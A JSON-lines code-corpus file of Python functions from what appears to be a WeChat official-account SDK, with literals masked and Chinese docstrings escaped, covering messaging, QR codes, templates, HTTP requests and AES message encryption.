{"signature": "def get_followers(self, first_user_id=None):", "body": "params = dict()<EOL>if first_user_id:<EOL><INDENT>params['<STR_LIT>'] = first_user_id<EOL><DEDENT>return self.request.get('<STR_LIT>', params=params)<EOL>", "docstring": "\u83b7\u53d6\u5173\u6ce8\u8005\u5217\u8868\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/3/17e6919a39c1c53555185907acf70093.html\n:param first_user_id: \u53ef\u9009\u3002\u7b2c\u4e00\u4e2a\u62c9\u53d6\u7684OPENID\uff0c\u4e0d\u586b\u9ed8\u8ba4\u4ece\u5934\u5f00\u59cb\u62c9\u53d6\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m35"}
{"signature": "def send_text_message(self, user_id, content):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT:text>',<EOL>'<STR_LIT:text>': {<EOL>'<STR_LIT:content>': content,<EOL>},<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u6587\u672c\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param content: \u6d88\u606f\u6b63\u6587\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m36"}
{"signature": "def send_image_message(self, user_id, media_id):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT:image>',<EOL>'<STR_LIT:image>': {<EOL>'<STR_LIT>': media_id,<EOL>},<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u56fe\u7247\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param media_id: \u56fe\u7247\u7684\u5a92\u4f53ID\u3002 \u53ef\u4ee5\u901a\u8fc7 :func:`upload_media` \u4e0a\u4f20\u3002\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m37"}
{"signature": "def send_voice_message(self, user_id, media_id):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': media_id,<EOL>},<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u8bed\u97f3\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param media_id: \u53d1\u9001\u7684\u8bed\u97f3\u7684\u5a92\u4f53ID\u3002 \u53ef\u4ee5\u901a\u8fc7 :func:`upload_media` \u4e0a\u4f20\u3002\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m38"}
{"signature": "def send_video_message(self, user_id, media_id, title=None, description=None):", "body": "video_data = {<EOL>'<STR_LIT>': media_id,<EOL>}<EOL>if title:<EOL><INDENT>video_data['<STR_LIT:title>'] = title<EOL><DEDENT>if description:<EOL><INDENT>video_data['<STR_LIT:description>'] = description<EOL><DEDENT>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': video_data,<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u89c6\u9891\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param media_id: \u53d1\u9001\u7684\u89c6\u9891\u7684\u5a92\u4f53ID\u3002 \u53ef\u4ee5\u901a\u8fc7 :func:`upload_media` \u4e0a\u4f20\u3002\n:param title: \u89c6\u9891\u6d88\u606f\u7684\u6807\u9898\n:param description: \u89c6\u9891\u6d88\u606f\u7684\u63cf\u8ff0\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m39"}
{"signature": "def send_music_message(self, user_id, url, hq_url, thumb_media_id, title=None, description=None):", "body": "music_data = {<EOL>'<STR_LIT>': url,<EOL>'<STR_LIT>': hq_url,<EOL>'<STR_LIT>': thumb_media_id,<EOL>}<EOL>if title:<EOL><INDENT>music_data['<STR_LIT:title>'] = title<EOL><DEDENT>if description:<EOL><INDENT>music_data['<STR_LIT:description>'] = description<EOL><DEDENT>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': music_data,<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u97f3\u4e50\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param url: \u97f3\u4e50\u94fe\u63a5\n:param hq_url: \u9ad8\u54c1\u8d28\u97f3\u4e50\u94fe\u63a5\uff0cwifi\u73af\u5883\u4f18\u5148\u4f7f\u7528\u8be5\u94fe\u63a5\u64ad\u653e\u97f3\u4e50\n:param thumb_media_id: \u7f29\u7565\u56fe\u7684\u5a92\u4f53ID\u3002 \u53ef\u4ee5\u901a\u8fc7 :func:`upload_media` \u4e0a\u4f20\u3002\n:param title: \u97f3\u4e50\u6807\u9898\n:param description: \u97f3\u4e50\u63cf\u8ff0\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m40"}
{"signature": "def send_article_message(self, user_id, articles=None, media_id=None):", "body": "<EOL>if articles is None and media_id is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if articles:<EOL><INDENT>articles_data = []<EOL>for article in articles:<EOL><INDENT>article = Article(**article)<EOL>articles_data.append({<EOL>'<STR_LIT:title>': article.title,<EOL>'<STR_LIT:description>': article.description,<EOL>'<STR_LIT:url>': article.url,<EOL>'<STR_LIT>': article.picurl,<EOL>})<EOL><DEDENT>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': articles_data,<EOL>},<EOL>}<EOL>)<EOL><DEDENT>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': media_id,<EOL>},<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u56fe\u6587\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/12a5a320ae96fecdf0e15cb06123de9f.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param articles: list \u5bf9\u8c61, \u6bcf\u4e2a\u5143\u7d20\u4e3a\u4e00\u4e2a dict \u5bf9\u8c61, key \u5305\u542b `title`, `description`, `picurl`, `url`\n:param media_id: \u5f85\u53d1\u9001\u7684\u56fe\u6587 Media ID\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m41"}
{"signature": "def create_qrcode(self, data):", "body": "data = self._transcoding_dict(data)<EOL>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data=data<EOL>)<EOL>", "docstring": "\u521b\u5efa\u4e8c\u7ef4\u7801\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/18/28fc21e7ed87bec960651f0ce873ef8a.html\n:param data: \u4f60\u8981\u53d1\u9001\u7684\u53c2\u6570 dict\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m42"}
{"signature": "def show_qrcode(self, ticket):", "body": "return requests.get(<EOL>url='<STR_LIT>',<EOL>params={<EOL>'<STR_LIT>': ticket<EOL>}<EOL>)<EOL>", "docstring": "\u901a\u8fc7ticket\u6362\u53d6\u4e8c\u7ef4\u7801\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/18/28fc21e7ed87bec960651f0ce873ef8a.html\n:param ticket: \u4e8c\u7ef4\u7801 ticket \u3002\u53ef\u4ee5\u901a\u8fc7 :func:`create_qrcode` \u83b7\u53d6\u5230\n:return: \u8fd4\u56de\u7684 Request \u5bf9\u8c61", "id": "f588:c0:m43"}
{"signature": "def set_template_industry(self, industry_id1, industry_id2):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': str(industry_id1),<EOL>'<STR_LIT>': str(industry_id2),<EOL>}<EOL>)<EOL>", "docstring": "\u8bbe\u7f6e\u6240\u5c5e\u884c\u4e1a\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/17/304c1885ea66dbedf7dc170d84999a9d.html\n:param industry_id1: \u4e3b\u8425\u884c\u4e1a\u4ee3\u7801\n:param industry_id2: \u526f\u8425\u884c\u4e1a\u4ee3\u7801\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m44"}
{"signature": "def get_template_id(self, template_id_short):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': str(template_id_short),<EOL>}<EOL>)<EOL>", "docstring": "\u83b7\u5f97\u6a21\u677fID\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/17/304c1885ea66dbedf7dc170d84999a9d.html\n:param template_id_short: \u6a21\u677f\u5e93\u4e2d\u6a21\u677f\u7684\u7f16\u53f7\uff0c\u6709\u201cTM**\u201d\u548c\u201cOPENTMTM**\u201d\u7b49\u5f62\u5f0f\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m45"}
{"signature": "def send_template_message(self, user_id, template_id, data, url='<STR_LIT>', topcolor='<STR_LIT>'):", "body": "unicode_data = {}<EOL>if data:<EOL><INDENT>unicode_data = self._transcoding_dict(data)<EOL><DEDENT>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>\"<STR_LIT>\": template_id,<EOL>\"<STR_LIT:url>\": url,<EOL>\"<STR_LIT>\": topcolor,<EOL>\"<STR_LIT:data>\": unicode_data<EOL>}<EOL>)<EOL>", "docstring": "\u53d1\u9001\u6a21\u7248\u6d88\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/17/304c1885ea66dbedf7dc170d84999a9d.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source (OpenID)\n:param template_id: \u6a21\u677fID\n:param data: \u6a21\u677f\u6d88\u606f\u6570\u636e (dict\u5f62\u5f0f)\uff0c\u793a\u4f8b\u5982\u4e0b\uff1a\n{\n    \"first\": {\n       \"value\": \"\u606d\u559c\u4f60\u8d2d\u4e70\u6210\u529f\uff01\",\n       \"color\": \"#173177\"\n    },\n    \"keynote1\":{\n       \"value\": \"\u5de7\u514b\u529b\",\n       \"color\": \"#173177\"\n    },\n    \"keynote2\": {\n       \"value\": \"39.8\u5143\",\n       \"color\": \"#173177\"\n    },\n    \"keynote3\": {\n       \"value\": \"2014\u5e749\u670816\u65e5\",\n       \"color\": \"#173177\"\n    },\n    \"remark\":{\n       \"value\": \"\u6b22\u8fce\u518d\u6b21\u8d2d\u4e70\uff01\",\n       \"color\": \"#173177\"\n    }\n}\n:param url: \u8df3\u8f6c\u5730\u5740 (\u9ed8\u8ba4\u4e3a\u7a7a)\n:param topcolor: \u9876\u90e8\u989c\u8272RGB\u503c (\u9ed8\u8ba4 '#FF0000' )\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m46"}
{"signature": "def _check_parse(self):", "body": "if not self.__is_parse:<EOL><INDENT>raise NeedParseError()<EOL><DEDENT>", "docstring": "\u68c0\u67e5\u662f\u5426\u6210\u529f\u89e3\u6790\u5fae\u4fe1\u670d\u52a1\u5668\u4f20\u6765\u7684\u6570\u636e\n:raises NeedParseError: \u9700\u8981\u89e3\u6790\u5fae\u4fe1\u670d\u52a1\u5668\u4f20\u6765\u7684\u6570\u636e", "id": "f588:c0:m49"}
{"signature": "def _check_official_error(self, json_data):", "body": "if \"<STR_LIT>\" in json_data and json_data[\"<STR_LIT>\"] != <NUM_LIT:0>:<EOL><INDENT>raise OfficialAPIError(errcode=json_data.get('<STR_LIT>'), errmsg=json_data.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>", "docstring": "\u68c0\u6d4b\u5fae\u4fe1\u516c\u4f17\u5e73\u53f0\u8fd4\u56de\u503c\u4e2d\u662f\u5426\u5305\u542b\u9519\u8bef\u7684\u8fd4\u56de\u7801\n:raises OfficialAPIError: \u5982\u679c\u8fd4\u56de\u7801\u63d0\u793a\u6709\u9519\u8bef\uff0c\u629b\u51fa\u5f02\u5e38\uff1b\u5426\u5219\u8fd4\u56de True", "id": "f588:c0:m50"}
{"signature": "@property<EOL><INDENT>def xml2dict(self):<DEDENT>", "body": "self._remove_whitespace_nodes(self._doc.childNodes[<NUM_LIT:0>])<EOL>return self._element2dict(self._doc.childNodes[<NUM_LIT:0>])<EOL>", "docstring": "\u5c06 XML \u8f6c\u6362\u4e3a dict", "id": "f590:c0:m1"}
{"signature": "def _element2dict(self, parent):", "body": "d = {}<EOL>for node in parent.childNodes:<EOL><INDENT>if not isinstance(node, minidom.Element):<EOL><INDENT>continue<EOL><DEDENT>if not node.hasChildNodes():<EOL><INDENT>continue<EOL><DEDENT>if node.childNodes[<NUM_LIT:0>].nodeType == minidom.Node.ELEMENT_NODE:<EOL><INDENT>try:<EOL><INDENT>d[node.tagName]<EOL><DEDENT>except KeyError:<EOL><INDENT>d[node.tagName] = []<EOL><DEDENT>d[node.tagName].append(self._element2dict(node))<EOL><DEDENT>elif len(node.childNodes) == <NUM_LIT:1> and node.childNodes[<NUM_LIT:0>].nodeType in [minidom.Node.CDATA_SECTION_NODE, minidom.Node.TEXT_NODE]:<EOL><INDENT>d[node.tagName] = node.childNodes[<NUM_LIT:0>].data<EOL><DEDENT><DEDENT>return d<EOL>", "docstring": "\u5c06\u5355\u4e2a\u8282\u70b9\u8f6c\u6362\u4e3a dict", "id": "f590:c0:m2"}
{"signature": "def _remove_whitespace_nodes(self, node, unlink=True):", "body": "remove_list = []<EOL>for child in node.childNodes:<EOL><INDENT>if child.nodeType == Node.TEXT_NODE and not child.data.strip():<EOL><INDENT>remove_list.append(child)<EOL><DEDENT>elif child.hasChildNodes():<EOL><INDENT>self._remove_whitespace_nodes(child, unlink)<EOL><DEDENT><DEDENT>for node in remove_list:<EOL><INDENT>node.parentNode.removeChild(node)<EOL>if unlink:<EOL><INDENT>node.unlink()<EOL><DEDENT><DEDENT>", "docstring": "\u5220\u9664\u7a7a\u767d\u65e0\u7528\u8282\u70b9", "id": "f590:c0:m3"}
{"signature": "def __init__(self, conf=None):", "body": "self.__conf = conf<EOL>", "docstring": ":param conf: WechatConf \u914d\u7f6e\u7c7b\u5b9e\u4f8b", "id": "f591:c0:m0"}
{"signature": "def request(self, method, url, access_token=None, **kwargs):", "body": "access_token = self.__conf.access_token if self.__conf is not None else access_token<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = {<EOL>\"<STR_LIT>\": access_token<EOL>}<EOL><DEDENT>else:<EOL><INDENT>kwargs[\"<STR_LIT>\"][\"<STR_LIT>\"] = access_token<EOL><DEDENT>if isinstance(kwargs.get(\"<STR_LIT:data>\", \"<STR_LIT>\"), dict):<EOL><INDENT>body = json.dumps(kwargs[\"<STR_LIT:data>\"], ensure_ascii=False)<EOL>if isinstance(body, six.text_type):<EOL><INDENT>body = body.encode('<STR_LIT:utf8>')<EOL><DEDENT>kwargs[\"<STR_LIT:data>\"] = body<EOL><DEDENT>r = requests.request(<EOL>method=method,<EOL>url=url,<EOL>**kwargs<EOL>)<EOL>r.raise_for_status()<EOL>try:<EOL><INDENT>response_json = r.json()<EOL><DEDENT>except ValueError:  <EOL><INDENT>return r<EOL><DEDENT>headimgurl = response_json.get('<STR_LIT>')<EOL>if headimgurl:<EOL><INDENT>response_json['<STR_LIT>'] = headimgurl.replace('<STR_LIT:\\\\>', '<STR_LIT>')<EOL><DEDENT>self._check_official_error(response_json)<EOL>return response_json<EOL>", "docstring": "\u5411\u5fae\u4fe1\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42\n:param method: \u8bf7\u6c42\u65b9\u6cd5\n:param url: \u8bf7\u6c42\u5730\u5740\n:param access_token: access token \u503c, \u5982\u679c\u521d\u59cb\u5316\u65f6\u4f20\u5165 conf \u4f1a\u81ea\u52a8\u83b7\u53d6, \u5982\u679c\u6ca1\u6709\u4f20\u5165\u5219\u8bf7\u63d0\u4f9b\u6b64\u503c\n:param kwargs: \u9644\u52a0\u6570\u636e\n:return: \u5fae\u4fe1\u670d\u52a1\u5668\u54cd\u5e94\u7684 JSON \u6570\u636e", "id": "f591:c0:m1"}
{"signature": "def get(self, url, access_token=None, **kwargs):", "body": "return self.request(<EOL>method=\"<STR_LIT>\",<EOL>url=url,<EOL>access_token=access_token,<EOL>**kwargs<EOL>)<EOL>", "docstring": "\u4f7f\u7528 GET \u65b9\u6cd5\u5411\u5fae\u4fe1\u670d\u52a1\u5668\u53d1\u51fa\u8bf7\u6c42\n:param url: \u8bf7\u6c42\u5730\u5740\n:param access_token: access token \u503c, \u5982\u679c\u521d\u59cb\u5316\u65f6\u4f20\u5165 conf \u4f1a\u81ea\u52a8\u83b7\u53d6, \u5982\u679c\u6ca1\u6709\u4f20\u5165\u5219\u8bf7\u63d0\u4f9b\u6b64\u503c\n:param kwargs: \u9644\u52a0\u6570\u636e\n:return: \u5fae\u4fe1\u670d\u52a1\u5668\u54cd\u5e94\u7684 JSON \u6570\u636e", "id": "f591:c0:m2"}
{"signature": "def post(self, url, access_token=None, **kwargs):", "body": "return self.request(<EOL>method=\"<STR_LIT>\",<EOL>url=url,<EOL>access_token=access_token,<EOL>**kwargs<EOL>)<EOL>", "docstring": "\u4f7f\u7528 POST \u65b9\u6cd5\u5411\u5fae\u4fe1\u670d\u52a1\u5668\u53d1\u51fa\u8bf7\u6c42\n:param url: \u8bf7\u6c42\u5730\u5740\n:param access_token: access token \u503c, \u5982\u679c\u521d\u59cb\u5316\u65f6\u4f20\u5165 conf \u4f1a\u81ea\u52a8\u83b7\u53d6, \u5982\u679c\u6ca1\u6709\u4f20\u5165\u5219\u8bf7\u63d0\u4f9b\u6b64\u503c\n:param kwargs: \u9644\u52a0\u6570\u636e\n:return: \u5fae\u4fe1\u670d\u52a1\u5668\u54cd\u5e94\u7684 JSON \u6570\u636e", "id": "f591:c0:m3"}
{"signature": "def _check_official_error(self, json_data):", "body": "if '<STR_LIT>' in json_data and json_data['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>raise OfficialAPIError(errcode=json_data.get('<STR_LIT>'), errmsg=json_data.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>", "docstring": "\u68c0\u6d4b\u5fae\u4fe1\u516c\u4f17\u5e73\u53f0\u8fd4\u56de\u503c\u4e2d\u662f\u5426\u5305\u542b\u9519\u8bef\u7684\u8fd4\u56de\u7801\n:raises OfficialAPIError: \u5982\u679c\u8fd4\u56de\u7801\u63d0\u793a\u6709\u9519\u8bef\uff0c\u629b\u51fa\u5f02\u5e38\uff1b\u5426\u5219\u8fd4\u56de True", "id": "f591:c0:m4"}
{"signature": "def __init__(self, token, encoding_aes_key, _id):", "body": "self.__key = base64.b64decode(to_binary(encoding_aes_key) + to_binary('<STR_LIT:=>'))<EOL>if len(self.__key) != <NUM_LIT:32>:<EOL><INDENT>raise ValidateAESKeyError(encoding_aes_key)<EOL><DEDENT>self.__token = to_binary(token)<EOL>self.__id = to_binary(_id)<EOL>self.__pc = BaseCrypto(self.__key)<EOL>", "docstring": "\u6784\u9020\u51fd\u6570\n\n        :param token: \u516c\u4f17\u5e73\u53f0\u4e0a\uff0c\u5f00\u53d1\u8005\u8bbe\u7f6e\u7684Token\n        :param encoding_aes_key: \u516c\u4f17\u5e73\u53f0\u4e0a\uff0c\u5f00\u53d1\u8005\u8bbe\u7f6e\u7684EncodingAESKey\n        :param _id: \u516c\u4f17\u53f7\u7684 appid \u6216\u4f01\u4e1a\u53f7\u7684 corpid", "id": "f592:c0:m0"}
{"signature": "def _check_signature(self, msg_signature, timestamp, nonce, echostr):", "body": "signature = get_sha1_signature(self.__token, timestamp, nonce, echostr)<EOL>if not signature == msg_signature:<EOL><INDENT>raise ValidateSignatureError()<EOL><DEDENT>try:<EOL><INDENT>return self.__pc.decrypt(echostr, self.__id)<EOL><DEDENT>except DecryptAESError as e:<EOL><INDENT>raise ValidateSignatureError(e)<EOL><DEDENT>", "docstring": "\u9a8c\u8bc1\u7b7e\u540d\u6709\u6548\u6027\n\n        :param msg_signature: \u7b7e\u540d\u4e32\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684msg_signature\n        :param timestamp: \u65f6\u95f4\u6233\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684timestamp\n        :param nonce: \u968f\u673a\u4e32\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684nonce\n        :param echostr: \u968f\u673a\u4e32\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684echostr\n        :return: \u89e3\u5bc6\u4e4b\u540e\u7684echostr\n        :raise ValidateSignatureError: \u7b7e\u540d\u65e0\u6548\u5f02\u5e38", "id": "f592:c0:m1"}
{"signature": "def _encrypt_message(self, msg, nonce, timestamp=None):", "body": "xml =", "docstring": "\u5c06\u516c\u4f17\u53f7\u56de\u590d\u7528\u6237\u7684\u6d88\u606f\u52a0\u5bc6\u6253\u5305\n\n        :param msg: \u5f85\u56de\u590d\u7528\u6237\u7684\u6d88\u606f\uff0cxml\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n        :param nonce: \u968f\u673a\u4e32\uff0c\u53ef\u4ee5\u81ea\u5df1\u751f\u6210\uff0c\u4e5f\u53ef\u4ee5\u7528URL\u53c2\u6570\u7684nonce\n        :param timestamp: \u65f6\u95f4\u6233\uff0c\u53ef\u4ee5\u81ea\u5df1\u751f\u6210\uff0c\u4e5f\u53ef\u4ee5\u7528URL\u53c2\u6570\u7684timestamp,\u5982\u4e3aNone\u5219\u81ea\u52a8\u7528\u5f53\u524d\u65f6\u95f4\n        :return: \u52a0\u5bc6\u540e\u7684\u53ef\u4ee5\u76f4\u63a5\u56de\u590d\u7528\u6237\u7684\u5bc6\u6587\uff0c\u5305\u62ecmsg_signature, timestamp, nonce, encrypt\u7684xml\u683c\u5f0f\u7684\u5b57\u7b26\u4e32", "id": "f592:c0:m2"}
{"signature": "def _decrypt_message(self, msg, msg_signature, timestamp, nonce):", "body": "timestamp = to_binary(timestamp)<EOL>nonce = to_binary(nonce)<EOL>if isinstance(msg, six.string_types):<EOL><INDENT>try:<EOL><INDENT>msg = xmltodict.parse(to_text(msg))['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise ParseError(e)<EOL><DEDENT><DEDENT>encrypt = msg['<STR_LIT>']<EOL>signature = get_sha1_signature(self.__token, timestamp, nonce, encrypt)<EOL>if signature != msg_signature:<EOL><INDENT>raise ValidateSignatureError()<EOL><DEDENT>return self.__pc.decrypt(encrypt, self.__id)<EOL>", "docstring": "\u68c0\u9a8c\u6d88\u606f\u7684\u771f\u5b9e\u6027\uff0c\u5e76\u4e14\u83b7\u53d6\u89e3\u5bc6\u540e\u7684\u660e\u6587\n\n        :param msg: \u5bc6\u6587\uff0c\u5bf9\u5e94POST\u8bf7\u6c42\u7684\u6570\u636e\n        :param msg_signature: \u7b7e\u540d\u4e32\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684msg_signature\n        :param timestamp: \u65f6\u95f4\u6233\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684timestamp\n        :param nonce: \u968f\u673a\u4e32\uff0c\u5bf9\u5e94URL\u53c2\u6570\u7684nonce\n        :return: \u89e3\u5bc6\u540e\u7684\u539f\u6587", "id": "f592:c0:m3"}
{"signature": "def encrypt(self, text, appid):", "body": "<EOL>text = self.get_random_str() + struct.pack(\"<STR_LIT:I>\", socket.htonl(len(text))) + to_binary(text) + appid<EOL>pkcs7 = PKCS7Encoder()<EOL>text = pkcs7.encode(text)<EOL>cryptor = AES.new(self.key, self.mode, self.key[:<NUM_LIT:16>])<EOL>try:<EOL><INDENT>ciphertext = cryptor.encrypt(text)<EOL>return base64.b64encode(ciphertext)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise EncryptAESError(e)<EOL><DEDENT>", "docstring": "\u5bf9\u660e\u6587\u8fdb\u884c\u52a0\u5bc6\n\n        @param text: \u9700\u8981\u52a0\u5bc6\u7684\u660e\u6587\n        @return: \u52a0\u5bc6\u5f97\u5230\u7684\u5b57\u7b26\u4e32", "id": "f593:c0:m1"}
{"signature": "def decrypt(self, text, appid):", "body": "try:<EOL><INDENT>cryptor = AES.new(self.key, self.mode, self.key[:<NUM_LIT:16>])<EOL>plain_text = cryptor.decrypt(base64.b64decode(text))<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise DecryptAESError(e)<EOL><DEDENT>try:<EOL><INDENT>if six.PY2:<EOL><INDENT>pad = ord(plain_text[-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>pad = plain_text[-<NUM_LIT:1>]<EOL><DEDENT>content = plain_text[<NUM_LIT:16>:-pad]<EOL>xml_len = socket.ntohl(struct.unpack(\"<STR_LIT:I>\", content[: <NUM_LIT:4>])[<NUM_LIT:0>])<EOL>xml_content = content[<NUM_LIT:4>: xml_len + <NUM_LIT:4>]<EOL>from_appid = content[xml_len + <NUM_LIT:4>:]<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise IllegalBuffer(e)<EOL><DEDENT>if from_appid != appid:<EOL><INDENT>raise ValidateAppIDError()<EOL><DEDENT>return xml_content<EOL>", "docstring": "\u5bf9\u89e3\u5bc6\u540e\u7684\u660e\u6587\u8fdb\u884c\u8865\u4f4d\u5220\u9664\n\n        @param text: \u5bc6\u6587\n        @return: \u5220\u9664\u586b\u5145\u8865\u4f4d\u540e\u7684\u660e\u6587", "id": "f593:c0:m2"}
{"signature": "def get_random_str(self):", "body": "rule = string.ascii_letters + string.digits<EOL>return \"<STR_LIT>\".join(random.sample(rule, <NUM_LIT:16>))<EOL>", "docstring": "\u968f\u673a\u751f\u621016\u4f4d\u5b57\u7b26\u4e32\n\n        @return: 16\u4f4d\u5b57\u7b26\u4e32", "id": "f593:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def encode(cls, text):<DEDENT>", "body": "text_length = len(text)<EOL>amount_to_pad = cls.block_size - (text_length % cls.block_size)<EOL>if amount_to_pad == <NUM_LIT:0>:<EOL><INDENT>amount_to_pad = cls.block_size<EOL><DEDENT>pad = to_binary(chr(amount_to_pad))<EOL>return text + pad * amount_to_pad<EOL>", "docstring": "\u5bf9\u9700\u8981\u52a0\u5bc6\u7684\u660e\u6587\u8fdb\u884c\u586b\u5145\u8865\u4f4d\n@param text: \u9700\u8981\u8fdb\u884c\u586b\u5145\u8865\u4f4d\u64cd\u4f5c\u7684\u660e\u6587\n@return: \u8865\u9f50\u660e\u6587\u5b57\u7b26\u4e32", "id": "f594:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def decode(cls, decrypted):<DEDENT>", "body": "pad = ord(decrypted[-<NUM_LIT:1>])<EOL>if pad < <NUM_LIT:1> or pad > <NUM_LIT:32>:<EOL><INDENT>pad = <NUM_LIT:0><EOL><DEDENT>return decrypted[:-pad]<EOL>", "docstring": "\u5220\u9664\u89e3\u5bc6\u540e\u660e\u6587\u7684\u8865\u4f4d\u5b57\u7b26\n@param decrypted: \u89e3\u5bc6\u540e\u7684\u660e\u6587\n@return: \u5220\u9664\u8865\u4f4d\u5b57\u7b26\u540e\u7684\u660e\u6587", "id": "f594:c0:m1"}
